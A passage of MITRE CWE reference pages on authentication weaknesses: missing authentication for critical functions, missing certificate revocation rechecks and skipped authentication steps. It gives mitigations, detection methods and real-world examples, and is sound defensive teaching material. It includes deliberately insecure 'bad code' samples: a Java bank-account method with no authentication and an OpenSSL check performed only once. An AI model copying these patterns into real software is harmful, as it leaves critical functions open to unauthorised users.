+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.287Improper Authentication
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1010Authenticate Actors
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and DesignOMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

Technologies

Class: Cloud Computing (Undetermined Prevalence)

Class: ICS/OT (Often Prevalent)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Access Control
Other

Technical Impact: Gain Privileges or Assume Identity; Other

Exposing critical functionality essentially provides an attacker with the privilege level of that functionality. The consequences will depend on the associated functionality, but they can range from reading or modifying sensitive data, access to administrative or other privileged functionality, or possibly even execution of arbitrary code.
+ Likelihood Of Exploit
High
+ Demonstrative Examples

Example 1

In the following Java example the method createBankAccount is used to create a BankAccount object for a bank management application.

(bad code)
Example Language: Java 
public BankAccount createBankAccount(String accountNumber, String accountType,
String accountName, String accountSSN, double balance) {
BankAccount account = new BankAccount();
account.setAccountNumber(accountNumber);
account.setAccountType(accountType);
account.setAccountOwnerName(accountName);
account.setAccountOwnerSSN(accountSSN);
account.setBalance(balance);

return account;
}

However, there is no authentication mechanism to ensure that the user creating this bank account object has the authority to create new bank accounts. Some authentication mechanisms should be used to verify that the user has the authority to create bank account objects.

The following Java code includes a boolean variable and method for authenticating a user. If the user has not been authenticated then the createBankAccount will not create the bank account object.

(good code)
Example Language: Java 
private boolean isUserAuthentic = false;

// authenticate user,

// if user is authenticated then set variable to true

// otherwise set variable to false
public boolean authenticateUser(String username, String password) {
...
}

public BankAccount createNewBankAccount(String accountNumber, String accountType,
String accountName, String accountSSN, double balance) {
BankAccount account = null;

if (isUserAuthentic) {
account = new BankAccount();
account.setAccountNumber(accountNumber);
account.setAccountType(accountType);
account.setAccountOwnerName(accountName);
account.setAccountOwnerSSN(accountSSN);
account.setBalance(balance);
}
return account;
}

Example 2

In 2022, the OT:ICEFALL study examined products by 10 different Operational Technology (OT) vendors. The researchers reported 56 vulnerabilities and said that the products were "insecure by design" [REF-1283]. If exploited, these vulnerabilities often allowed adversaries to change how the products operated, ranging from denial of service to changing the code that the products executed. Since these products were often used in industries such as power, electrical, water, and others, there could even be safety implications.

Multiple vendors did not use any authentication for critical functionality in their OT products.

Example 3

In 2021, a web site operated by PeopleGIS stored data of US municipalities in Amazon Web Service (AWS) Simple Storage Service (S3) buckets.

(bad code)
Example Language: Other 
A security researcher found 86 S3 buckets that could be accessed without authentication (CWE-306) and stored data unencrypted (CWE-312). These buckets exposed over 1000 GB of data and 1.6 million files including physical addresses, phone numbers, tax documents, pictures of driver's license IDs, etc. [REF-1296] [REF-1295]

While it was not publicly disclosed how the data was protected after discovery, multiple options could have been considered.

(good code)
Example Language: Other 
The sensitive information could have been protected by ensuring that the buckets did not have public read access, e.g., by enabling the s3-account-level-public-access-blocks-periodic rule to Block Public Access. In addition, the data could have been encrypted at rest using the appropriate S3 settings, e.g., by enabling server-side encryption using the s3-bucket-server-side-encryption-enabled setting. Other settings are available to further prevent bucket data from being leaked. [REF-1297]
+ Observed Examples
ReferenceDescription
Chain: a digital asset management program has an undisclosed backdoor in the legacy version of a PHP script (CWE-912) that could allow an unauthenticated user to export metadata (CWE-306)
TCP-based protocol in Programmable Logic Controller (PLC) has no authentication.
Condition Monitor firmware uses a protocol that does not require authentication.
SCADA-based protocol for bridging WAN and LAN traffic has no authentication.
Safety Instrumented System uses proprietary TCP protocols with no authentication.
Distributed Control System (DCS) uses a protocol that has no authentication.
Chain: Cloud computing virtualization platform does not require authentication for upload of a tar format file (CWE-306), then uses .. path traversal sequences (CWE-23) in the file to access unexpected files, as exploited in the wild per CISA KEV.
Bluetooth speaker does not require authentication for the debug functionality on the UART port, allowing root shell access
WiFi router does not require authentication for its UART port, allowing adversaries with physical access to execute commands as root
IT management product does not perform authentication for some REST API requests, as exploited in the wild per CISA KEV.
Default setting in workflow management product allows all API requests without authentication, as exploited in the wild per CISA KEV.
MFV. Access TFTP server without authentication and obtain configuration file with sensitive plaintext information.
Agent software running at privileges does not authenticate incoming requests over an unprotected channel, allowing a Shatter" attack.
Product enforces restrictions through a GUI but not through privileged APIs.
monitor device allows access to physical UART debug port without authentication
Programmable Logic Controller (PLC) does not have an authentication feature on its communication protocols.
+ Potential Mitigations

Phase: Architecture and Design

Divide the software into anonymous, normal, privileged, and administrative areas. Identify which of these areas require a proven user identity, and use a centralized authentication capability.

Identify all potential communication channels, or other means of interaction with the software, to ensure that all channels are appropriately protected. Developers sometimes perform authentication at the primary channel, but open up a secondary channel that is assumed to be private. For example, a login mechanism may be listening on one network port, but after successful authentication, it may open up a second port where it waits for the connection, but avoids authentication because it assumes that only the authenticated party will connect to the port.

In general, if the software or protocol allows a single session or user state to persist across multiple connections or channels, authentication and appropriate credential management need to be used throughout.

Phase: Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Phase: Architecture and Design

Where possible, avoid implementing custom authentication routines and consider using authentication capabilities as provided by the surrounding framework, operating system, or environment. These may make it easier to provide a clear separation between authentication tasks and authorization tasks.

In environments such as the World Wide Web, the line between authentication and authorization is sometimes blurred. If custom authentication routines are required instead of those provided by the server, then these routines must be applied to every single page, since these pages could be requested directly.

Phase: Architecture and Design

Strategy: Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

For example, consider using libraries with authentication capabilities such as OpenSSL or the ESAPI Authenticator [REF-45].

Phases: Implementation; System Configuration; Operation

When storing data in the cloud (e.g., S3 buckets, Azure blobs, Google Cloud Storage, etc.), use the provider's controls to require strong authentication for users who should be allowed to access the data [REF-1297] [REF-1298] [REF-1302].
+ Detection Methods

Manual Analysis

This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session.

Specifically, manual static analysis is useful for evaluating the correctness of custom authentication mechanisms.

Note: These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

Automated Static Analysis

Automated static analysis is useful for detecting commonly-used idioms for authentication. A tool may be able to analyze related configuration files, such as .htaccess in Apache web servers, or detect the usage of commonly-used authentication libraries.

Generally, automated static analysis tools have difficulty detecting custom authentication schemes. In addition, the software's design may include some functionality that is accessible to any user and does not require an established identity; an automated technique that detects the absence of authentication may report false positives.

Effectiveness: Limited

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness: SOAR Partial

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Web Application Scanner
  • Web Services Scanner
  • Database Scanners

Effectiveness: SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Host Application Interface Scanner
  • Fuzz Tester
  • Framework-based Fuzzer

Effectiveness: SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Focused Manual Spotcheck - Focused manual analysis of source
  • Manual Source Code Review (not inspections)

Effectiveness: SOAR Partial

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Source code Weakness Analyzer
  • Context-configured Source Code Weakness Analyzer

Effectiveness: SOAR Partial

Architecture or Design Review

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)
  • Formal Methods / Correct-By-Construction
Cost effective for partial coverage:
  • Attack Modeling

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.8032010 Top 25 - Porous Defenses
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.812OWASP Top Ten 2010 Category A3 - Broken Authentication and Session Management
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.8662011 Top 25 - Porous Defenses
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.952SFP Secondary Cluster: Missing Authentication
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1337Weaknesses in the 2021 CWE Top 25 Most Dangerous Software Weaknesses
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1350Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1353OWASP Top Ten 2021 Category A07:2021 - Identification and Authentication Failures
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1364ICS Communications: Zone Boundary Failures
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1365ICS Communications: Unreliability
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1366ICS Communications: Frail Security in Protocols
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1368ICS Dependencies (& Architecture): External Digital Systems
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1387Weaknesses in the 2022 CWE Top 25 Most Dangerous Software Weaknesses
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1396Comprehensive Categorization: Access Control
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1425Weaknesses in the 2023 CWE Top 25 Most Dangerous Software Weaknesses
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERNo Authentication for Critical Function
Software Fault PatternsSFP31Missing authentication
ISA/IEC 62443Part 4-2Req CR 1.1
ISA/IEC 62443Part 4-2Req CR 1.2
ISA/IEC 62443Part 4-2Req CR 2.1
ISA/IEC 62443Part 4-1Req SR-2
ISA/IEC 62443Part 4-1Req SVV-3
+ References
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 2, "Common Vulnerabilities of Authentication," Page 36. 1st Edition. Addison Wesley. 2006.
[REF-257] Frank Kim. "Top 25 Series - Rank 19 - Missing Authentication for Critical Function". SANS Software Security Institute. 2010-02-23. <https://www.sans.org/blog/top-25-series-rank-19-missing-authentication-for-critical-function/>. URL validated: 2023-04-07.
[REF-45] OWASP. "OWASP Enterprise Security API (ESAPI) Project". <http://www.owasp.org/index.php/ESAPI>.
[REF-1283] Forescout Vedere Labs. "OT:ICEFALL: The legacy of "insecure by design" and its implications for certifications and risk management". 2022-06-20. <https://www.forescout.com/resources/ot-icefall-report/>.
[REF-1295] WizCase. "Over 80 US Municipalities' Sensitive Information, Including Resident's Personal Data, Left Vulnerable in Massive Data Breach". 2021-07-20. <https://www.wizcase.com/blog/us-municipality-breach-report/>.
[REF-1296] Jonathan Greig. "1,000 GB of local government data exposed by Massachusetts software company". 2021-07-22. <https://www.zdnet.com/article/1000-gb-of-local-government-data-exposed-by-massachusetts-software-company/>.
[REF-1297] Amazon. "AWS Foundational Security Best Practices controls". 2022. <https://docs.aws.amazon.com/securityhub/latest/userguide/securityhub-controls-reference.html>. URL validated: 2023-04-07.
[REF-1298] Microsoft. "Authentication and authorization in Azure App Service and Azure Functions". 2021-11-23. <https://learn.microsoft.com/en-us/azure/app-service/overview-authentication-authorization>. URL validated: 2022-10-11.
[REF-1302] Google Cloud. "Authentication and authorization use cases". 2022-10-11. <https://cloud.google.com/docs/authentication/use-cases>. URL validated: 2022-10-11.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Contributions
Contribution DateContributorOrganization
2023-04-25"Mapping CWE to 62443" Sub-Working GroupCWE-CAPEC ICS/OT SIG
Suggested mappings to ISA/IEC 62443.
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Relationship_Notes, Taxonomy_Mappings
2010-02-16CWE Content TeamMITRE
updated Applicable_Platforms, Common_Consequences, Demonstrative_Examples, Detection_Factors, Likelihood_of_Exploit, Name, Observed_Examples, Potential_Mitigations, References, Related_Attack_Patterns, Relationships
2010-06-21CWE Content TeamMITRE
updated Common_Consequences, Potential_Mitigations, References
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Relationships
2011-09-13CWE Content TeamMITRE
updated Potential_Mitigations, References, Relationships
2012-05-11CWE Content TeamMITRE
updated Potential_Mitigations, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Detection_Factors, Relationships, Taxonomy_Mappings
2015-12-07CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Likelihood_of_Exploit, Modes_of_Introduction, References, Relationships
2019-01-03CWE Content TeamMITRE
updated Related_Attack_Patterns
2019-06-20CWE Content TeamMITRE
updated Related_Attack_Patterns, Type
2020-02-24CWE Content TeamMITRE
updated Relationships
2020-08-20CWE Content TeamMITRE
updated Relationships
2021-07-20CWE Content TeamMITRE
updated Observed_Examples, Relationships
2021-10-28CWE Content TeamMITRE
updated Relationships
2022-06-28CWE Content TeamMITRE
updated Observed_Examples, Relationships
2022-10-13CWE Content TeamMITRE
updated Applicable_Platforms, Demonstrative_Examples, Description, Observed_Examples, Potential_Mitigations, References, Relationship_Notes, Relationships
2023-01-31CWE Content TeamMITRE
updated Related_Attack_Patterns, Relationships
2023-04-27CWE Content TeamMITRE
updated References, Relationships, Taxonomy_Mappings
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes, Relationships
2023-10-26CWE Content TeamMITRE
updated Observed_Examples
2024-02-29
(CWE 4.14, 2024-02-29)
CWE Content TeamMITRE
updated Observed_Examples
+ Previous Entry Names
Change DatePrevious Entry Name
2010-02-16No Authentication for Critical Function

CWE-370: Missing Check for Certificate Revocation after Initial Check

Weakness ID: 370
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product does not check the revocation status of a certificate after its initial revocation check, which can cause the product to perform privileged actions even after the certificate is revoked at a later time.
+ Extended Description
If the revocation status of a certificate is not checked before each action that requires privileges, the system may be subject to a race condition. If a certificate is revoked after the initial check, all subsequent actions taken with the owner of the revoked certificate will lose all benefits guaranteed by the certificate. In fact, it is almost certain that the use of a revoked certificate indicates malicious activity.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.299Improper Check for Certificate Revocation
PeerOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.296Improper Following of a Certificate's Chain of Trust
PeerOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.297Improper Validation of Certificate with Host Mismatch
PeerOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.298Improper Validation of Certificate Expiration
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1014Identify Actors
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Access Control

Technical Impact: Gain Privileges or Assume Identity

Trust may be assigned to an entity who is not who it claims to be.
Integrity

Technical Impact: Modify Application Data

Data from an untrusted (and possibly malicious) source may be integrated.
Confidentiality

Technical Impact: Read Application Data

Data may be disclosed to an entity impersonating a trusted entity, resulting in information disclosure.
+ Likelihood Of Exploit
Medium
+ Demonstrative Examples

Example 1

The following code checks a certificate before performing an action.

(bad code)
Example Language:
if (cert = SSL_get_peer_certificate(ssl)) {
foo=SSL_get_verify_result(ssl);
if (X509_V_OK==foo)

//do stuff
foo=SSL_get_verify_result(ssl);
//do more stuff without the check.

While the code performs the certificate verification before each action, it does not check the result of the verification after the initial attempt. The certificate may have been revoked in the time between the privileged actions.

+ Potential Mitigations

Phase: Architecture and Design

Ensure that certificates are checked for revoked status before each use of a protected resource. If the certificate is checked before each access of a protected resource, the delay subject to a possible race condition becomes almost negligible and significantly reduces the risk associated with this issue.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.988SFP Secondary Cluster: Race Condition Window
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1396Comprehensive Categorization: Access Control
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
CLASPRace condition in checking for certificate revocation
Software Fault PatternsSFP20Race Condition Window
+ References
[REF-18] Secure Software, Inc.. "The CLASP Application Security Process". 2005. <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf>.
[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 13: Race Conditions." Page 205. McGraw-Hill. 2010.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
CLASP
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings
2008-10-14CWE Content TeamMITRE
updated Description, Other_Notes, Potential_Mitigations
2009-05-27CWE Content TeamMITRE
updated Name, Relationships
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated References, Relationships
2013-02-21CWE Content TeamMITRE
updated Applicable_Platforms, Demonstrative_Examples
2014-07-30CWE Content TeamMITRE
updated Demonstrative_Examples, Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Demonstrative_Examples, Modes_of_Introduction, Relationships, Type
2020-02-24CWE Content TeamMITRE
updated References, Relationships
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Modes_of_Introduction, Relationships, Time_of_Introduction
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2009-05-27Race Condition in Checking for Certificate Revocation

CWE-304: Missing Critical Step in Authentication

Weakness ID: 304
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product implements an authentication technique, but it skips a step that weakens the technique.
+ Extended Description
Authentication techniques should follow the algorithms that define them exactly, otherwise authentication can be bypassed or more easily subjected to brute force attacks.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.573Improper Following of Specification by Caller
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.303Incorrect Implementation of Authentication Algorithm
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1010Authenticate Actors
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
ImplementationREALIZATION: This weakness is caused during implementation of an architectural security tactic.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Access Control
Integrity
Confidentiality

Technical Impact: Bypass Protection Mechanism; Gain Privileges or Assume Identity; Read Application Data; Execute Unauthorized Code or Commands

This weakness can lead to the exposure of resources or functionality to unintended actors, possibly providing attackers with sensitive information or allowing attackers to execute arbitrary code.
+ Observed Examples
ReferenceDescription
Shared secret not verified in a RADIUS response packet, allowing authentication bypass by spoofing server replies.
Chain: Authentication bypass by skipping the first startup step as required by the protocol.
+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.724OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.947SFP Secondary Cluster: Authentication Bypass
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1353OWASP Top Ten 2021 Category A07:2021 - Identification and Authentication Failures
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1396Comprehensive Categorization: Access Control
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERMissing Critical Step in Authentication
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2008-10-14CWE Content TeamMITRE
updated Description
2009-03-10CWE Content TeamMITRE
updated Relationships
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Common_Consequences, Relationships
2014-02-18CWE Content TeamMITRE
updated Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Modes_of_Introduction, Relationships
2019-06-20CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated Relationships
2021-10-28CWE Content TeamMITRE
updated Relationships
2022-10-13CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Description, Relationships
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, Relationships, Time_of_Introduction
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2023-10-26CWE Content TeamMITRE
updated Observed_Examples

CWE-325: Missing Cryptographic Step

Weakness ID: 325
